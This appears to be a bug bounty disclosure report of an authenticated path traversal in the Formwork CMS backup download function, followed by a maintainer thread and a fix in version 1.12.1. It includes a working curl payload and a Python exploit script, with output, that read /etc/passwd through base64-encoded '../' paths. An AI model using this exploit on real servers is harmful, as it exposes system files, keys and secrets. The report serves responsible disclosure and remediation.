Path Traversal - Download remote files by exploiting the backup functionality (Authenticated) in getformwork/formwork

Valid

Reported on

Oct 25th 2022


Description

The vulnerability found in the backup system allows an Administrator of the CMS to download any files on the remote file system (not only backup files) by exploiting a "Path Traversal".

The vulnerability does not require any user interaction and is very simple to exploit.

Proof of Concept

The "Path Traversal" vulnerability is located inside the download function of the Backup class. The function is mapped to the route POST /admin/backup/download/{backup}/.

Here is the vulnerable function :

    public function download(RouteParams $params): void
    {
        $this->ensurePermission('backup.download');
        $file = $this->option('backup.path') . base64_decode($params->get('backup'));
        try {
            if (FileSystem::isFile($file, false)) {
                HTTPResponse::download($file);
            } else {
                throw new RuntimeException($this->label('backup.error.cannot-download.invalid-filename'));
            }
        } catch (TranslatedException $e) {
            $this->notify($this->label('backup.error.cannot-download', $e->getTranslatedMessage()), 'error');
            $this->redirectToReferer(302, '/dashboard/');
        }
    }

The backup parameter corresponds to the base64 encoded path of the file that will be downloaded. Normally, the value of the parameter corresponds to backup file like for example localhost-formwork-backup-20221025161507.zip (base64 encoded).

As you can see, the path of the file to download is concatenate with a constant value without filters. So, you can download file like /etc/password by requesting a download with value ../../../../../etc/passwd. You can exfiltrate all the files of the remote file system as long as you have the permission to read it.

You can exploit the vulnerability with a simple curl command.

$ curl 'http://localhost/admin/backup/download/Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA%3D/' -b 'formwork_session=1785e5f9e775da102b559ba468628ff0' -d 'csrf-token=28Qt6jtr1acE8tYnxPRrkCWbzjFSExaRM006WOlzjJMil/3d' --output passwd
$ cat passwd
root:x:0:0::/root:/bin/bash
bin:x:1:1::/:/usr/bin/nologin
daemon:x:2:2::/:/usr/bin/nologin
[...]

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA= is equals to ../../../../../../../../etc/passwd.

I also made a Python script to exploit the vulnerability.

#!/usr/bin/env python3
import argparse
from base64 import urlsafe_b64encode

from requests import Session


HEADERS = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0"
}
ADMIN_DASHBOARD = "/admin/dashboard/"
BACKUP_DOWNLOAD = "/admin/backup/download/"


def get_csrf_token(base_url, session):
    """Get the CSRF token."""
    cookies = {"formwork_session": session}
    resp_content = sess.get(base_url + ADMIN_DASHBOARD,
        cookies=cookies, headers=HEADERS).text
    csrf = resp_content.split('<meta name="csrf-token" content="')[1]
    return csrf.split('"')[0]

def download(base_url, file_path, session):
    """Download file using Path Traversal vulnerability inside backup functionality."""
    cookies = {"formwork_session": session}
    data = {"csrf-token": get_csrf_token(base_url, session)}
    b64_file_path = urlsafe_b64encode(file_path.encode()).decode("utf-8")

    print(f"Try to download '{file_path}'...")
    print(f"Cookies : {cookies}")
    print(f"CSRF : {data}")
    print(f"Base64 file : {b64_file_path}")

    resp = sess.post(base_url + BACKUP_DOWNLOAD + b64_file_path + "/",
        cookies=cookies, data=data, headers=HEADERS)
    return resp.content

def write_output(output_path, content):
    """Write content inside output file."""
    with open(output_path, "wb") as output_file:
        output_file.write(content)
    print(f"Ouput saved in '{output_path}'.")


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("base_url", help="Base URL of the formwork instance (ex: http://127.0.0.1:8080).")
    parser.add_argument("-p", help="Relative path to the file to download (ex: ../../../../../../../etc/passwd).")
    parser.add_argument("-o", help="Path of downloaded file on your machine (ex: exfil.out).")
    parser.add_argument("--session", help="Value of your formwork_session cookie")
    args = parser.parse_args()

    base_url    = args.base_url.strip("/")
    file_path   = args.p
    output_path = args.o
    cookie      = args.session

    sess = Session()
    content = download(base_url, file_path, cookie)
    write_output(output_path, content)

Here is an example of execution :

$ python3 formwork_path_traversal.py 'http://localhost' -p '../../../../../../../etc/passwd' -o passwd --session '63aa2789ea6687f702dc2f01359952c0'
Try to download '../../../../../../../etc/passwd'...
Cookies : {'formwork_session': '63aa2789ea6687f702dc2f01359952c0'}
CSRF : {'csrf-token': '2RPc00/2WuMSLXkdAyD2Ctq7oW0k1h/V9fSi3XoR1wKs2fJR'}
Base64 file : Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
Ouput saved in 'passwd'.
$ cat passwd
root:x:0:0::/root:/bin/bash
bin:x:1:1::/:/usr/bin/nologin
daemon:x:2:2::/:/usr/bin/nologin
[...]

Impact

You can exfiltrate all the files of the remote file system as long as you have the permission to read it. For example you can download /etc/passwd, SSH keys, configuration files, secrets ...

Occurrences

We are processing your report and will contact the getformwork/formwork team within 24 hours. a year ago
We created a GitHub Issue asking the maintainers to create a SECURITY.md a year ago
We have contacted a member of the getformwork/formwork team and are waiting to hear back a year ago
Giuseppe Criscione gave praise a year ago
The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1
Giuseppe
a year ago

Maintainer


Great work @xanhacks 👌 Could you kindly propose/submit a fix for this vulnerability? Any help is appreciated.

xanhacks
a year ago

Researcher


Hey, you're welcome.

You can use the basename($path) function in PHP that returns the file name of the given path. This will prevent accessing file from another directories that the backup one.

Have a nice day !

xanhacks
a year ago

Researcher


Hey @maintainer @admin !

Could we assign CVE id for this vulnerability ?

Regards

xanhacks submitted a
a year ago
Giuseppe Criscione validated this vulnerability a year ago
xanhacks has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Giuseppe Criscione marked this as fixed in 1.12.1 with commit c5b737 a year ago
xanhacks has been awarded the fix bounty
This vulnerability will not receive a CVE
Backup.php#L40 has been validated
Giuseppe Criscione published this vulnerability a year ago
to join this conversation